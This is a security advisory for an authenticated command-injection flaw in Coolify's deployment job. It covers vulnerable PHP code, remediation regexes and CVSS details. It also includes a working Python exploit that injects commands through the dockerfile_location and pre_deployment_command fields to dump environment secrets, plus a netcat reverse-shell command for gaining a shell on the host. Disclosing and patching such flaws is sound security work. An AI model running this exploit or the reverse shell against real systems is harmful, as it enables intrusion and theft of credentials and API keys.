Skip to content

Authenticated Remote Command Injection leading to RCE and Secrets Exfiltration

Critical
andrasbacsai published GHSA-qqrq-r9h4-x6wp Jul 2, 2026

Package

coollabsio/coolify

Affected versions

<= 4.0.0-beta.462

Patched versions

>= v4.0.0-beta.469

Description

Summary

An authenticated remote command injection vulnerability (CWE-78) in Coolify allows users with application "write" permissions to achieve Remote Code Execution (RCE) and Exfiltrate sensitive environment variables (e.g., database credentials, API keys) via deployment logs, even if the build environment isolates the Docker socket.

  • Vulnerability Type: CWE-78 (OS Command Injection)
  • Severity: Critical (CVSS 10.0)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Prerequisites & Limitations

  • Minimum Required Permissions: write (to update config) + read:sensitive (to read exfiltrated data via logs).
  • Bypass: A mechanism exists allowing tokens without explicit deploy permissions to trigger builds.
  • Attack Surface: The overall attack surface is 2-3x larger than initially estimated since administrative/root privileges are not required.

Technical Details

1. dockerfile_location Injection

File: app/Jobs/ApplicationDeploymentJob.php
Input lacks proper shell escaping or input validation, permitting direct command injection using metacharacters like ;, &&, and ```.

// Lines 2976-2978: Traditional build with args
$build_command = $this->wrap_build_command_with_env_export(
    "docker build {$this->buildTarget} --network {$this->destination->network} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} --progress plain -t $this->build_image_name {$this->workdir}"
);

// Lines 526: Also used in simple dockerfile deployment
executeInDocker($this->deployment_uuid, "echo '$dockerfile_base64' | base64 -d | tee {$this->workdir}{$this->dockerfile_location} > /dev/null"),

2. pre_deployment_command Execution

File: app/Jobs/ApplicationDeploymentJob.php (Lines 3882-3909)
While basic escaping is performed, the function naturally runs native shell commands, making it trivial to dump data straight into build logs.

private function run_pre_deployment_command()
{
    if (empty($this->application->pre_deployment_command)) {
        return;
    }
    // ...
    $cmd = "sh -c '".str_replace("'", "'\\''", $this->application->pre_deployment_command)."'";
    $exec = "docker exec {$containerName} {$cmd}";
    $this->execute_remote_command(
        [
            'command' => $exec,
            'hidden' => true,
        ],
    );
}

Proof of Concept (PoC)

Sample Injection Payload:

; echo 'EXPLOIT_START'; echo '--- DUMPING ENV VARS ---'; env; echo '--- END ENV VARS ---'; echo 'EXPLOIT_END'; #

Exploit Script (exploit.py)

import requests
import argparse
import json
import time
import random
import sys

def get_applications(target_url, api_token):
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Accept': 'application/json'
    }
    url = f"{target_url}/api/v1/applications"
    try:
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        else:
            print(f"\033[91m[-] Failed to list applications. Status: {response.status_code}\033[0m")
            return None
    except Exception as e:
        print(f"\033[91m[-] Error listing apps: {e}\033[0m")
        return None

def exploit(target_url, api_token, app_uuid, custom_cmd=None):
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }

    if not custom_cmd:
        custom_cmd = (
            "echo '--- [SYSTEM INFO] ---'; whoami; id; hostname; "
            "echo '--- [NETWORK INFO] ---'; ip a; "
            "echo '--- [ENVIRONMENT] ---'; env; "
            "echo '--- [ETC HOSTS] ---'; cat /etc/hosts"
        )
    
    print(f"\n\033[94m[*] target: {target_url}\033[0m")
    print(f"[*] App UUID: {app_uuid}")
    print(f"[*] Payload: {custom_cmd}")

    injection = f"; {custom_cmd};"
    update_url = f"{target_url}/api/v1/applications/{app_uuid}"
    update_params = {
        "dockerfile_location": f"Dockerfile{injection} {random.randint(100,999)}",
        "pre_deployment_command": custom_cmd 
    }
    
    try:
        print("[*] Injecting payload into configuration...")
        resp = requests.patch(update_url, headers=headers, json=update_params)
        if resp.status_code != 200:
            print(f"\033[91m[-] Injection failed: {resp.text}\033[0m")
            return

        print("\033[92m[+] Config updated. Triggering deployment...\033[0m")
        deploy_url = f"{update_url}/start"
        resp = requests.post(deploy_url, headers=headers)
        if resp.status_code != 200:
             print(f"\033[91m[-] Deployment failed: {resp.text}\033[0m")
             return
        
        deploy_data = resp.json()
        print(f"[DEBUG] Start response: {json.dumps(deploy_data)}")
        deployment_uuid = deploy_data.get('deployment_uuid')
        

        if not deployment_uuid:
            time.sleep(2)
            hist = requests.get(f"{update_url}/deployments", headers=headers).json()
            print(f"[DEBUG] History response: {json.dumps(hist)}")
            if isinstance(hist, list) and len(hist) > 0:
                deployment_uuid = hist[0].get('deployment_uuid')
            elif isinstance(hist, dict) and 'deployments' in hist:
              
                 deployments = hist.get('deployments', [])
                 if len(deployments) > 0:
                     deployment_uuid = deployments[0].get('deployment_uuid')

        if not deployment_uuid:
            print("\033[91m[-] Could not track deployment.\033[0m")
            return

        print(f"\033[92m[+] Deployment ID: {deployment_uuid}. Monitoring logs...\033[0m")
        monitor_logs(target_url, api_token, deployment_uuid)

    except Exception as e:
        import traceback
        traceback.print_exc()
        print(f"\033[91m[-] Critical Error: {e}\033[0m")

def monitor_logs(target_url, api_token, deploy_uuid):
    headers = {'Authorization': f'Bearer {api_token}', 'Accept': 'application/json'}
    status_url = f"{target_url}/api/v1/deployments/{deploy_uuid}"
    last_len = 0
    
    for _ in range(120):
        try:
            res = requests.get(status_url, headers=headers)
            if res.status_code == 200:
                data = res.json()
                status = data.get('status', '')
                logs_raw = data.get('logs')
                
                if logs_raw:
                    logs = json.loads(logs_raw)
                    if len(logs) > last_len:
                        for entry in logs[last_len:]:
                            out = entry.get('output', '').strip()
                            if out:
                                print(f"\033[92m[DEPLOY LOG] {out}\033[0m")
                        last_len = len(logs)
                
                if status in ['finished', 'failed', 'cancelled']:
                    print(f"\n\033[94m[*] Deployment {status}.\033[0m")
                    break
            
            time.sleep(2)
        except Exception: break

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Coolify Fully Automated RCE')
    parser.add_argument('--url', required=True, help='Coolify URL')
    parser.add_argument('--token', required=True, help='API Token')
    parser.add_argument('--uuid', help='App UUID (optional, will list if missing)')
    parser.add_argument('--cmd', help='Optional custom command')
    
    args = parser.parse_args()
    
    target_uuid = args.uuid
    if not target_uuid:
        print("[*] UUID not provided. Searching for available applications...")
        apps = get_applications(args.url, args.token)
        if apps:
            print(f"[+] Found {len(apps)} applications:")
            for idx, app in enumerate(apps, 1):
                name = app.get('name', 'Unknown')
                uuid = app.get('uuid', 'No UUID')
                description = app.get('description', '')
                print(f" [{idx}] {name} - {uuid} {f'({description})' if description else ''}")
            
            while True:
                try:
                    choice = input(f"\nSelect target application (1-{len(apps)}): ").strip()
                    if not choice.isdigit():
                        print("[-] Please enter a valid number.")
                        continue
                        
                    idx = int(choice)
                    if 1 <= idx <= len(apps):
                        selected_app = apps[idx - 1]
                        target_uuid = selected_app.get('uuid')
                        print(f"[*] Target selected: {selected_app.get('name')} ({target_uuid})")
                        break
                    else:
                        print(f"[-] Invalid selection. Please choose between 1 and {len(apps)}.")
                except Exception as e:
                    print(f"[-] Error parsing input: {e}")
        else:
            print("[-] No apps found or unauthorized.")
            sys.exit(1)
            
    exploit(args.url, args.token, target_uuid, args.cmd)

Triggering a Reverse Shell

msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_netcat
set LHOST <LHOST>
set LPORT <LPORT>
run
python3 exploit.py --url "<URL COOLIFY>" \
--token "<API TOKENS>" \
--uuid "<UUID APP>" \
--cmd "nc <LHOST> <LPORT> -e /bin/sh"

Remediation

  1. Sanitize dockerfile_location Input (in ApplicationDeploymentJob.php):
if ($this->application->dockerfile_location) {
    if (!preg_match('/^[a-zA-Z0-9._\-\/]+$/', $this->application->dockerfile_location)) {
        throw new \RuntimeException("Invalid dockerfile_location: contains forbidden characters");
    }
    if (str_contains($this->application->dockerfile_location, '..')) {
        throw new \RuntimeException("Invalid dockerfile_location: path traversal detected");
    }
    $this->dockerfile_location = escapeshellarg($this->application->dockerfile_location);
}
  1. API-Level Validation (bootstrap/helpers/api.php):
'dockerfile_location' => [
    'string',
    'nullable',
    'regex:/^[a-zA-Z0-9._\-\/]+$/',
    'max:255'
],
  1. Other Guidelines: Enforce strict allowlists blocking shell metacharacters, fix the deployment permission bypass logic, and audit equivalent fields such as docker_compose_location.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-34038

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits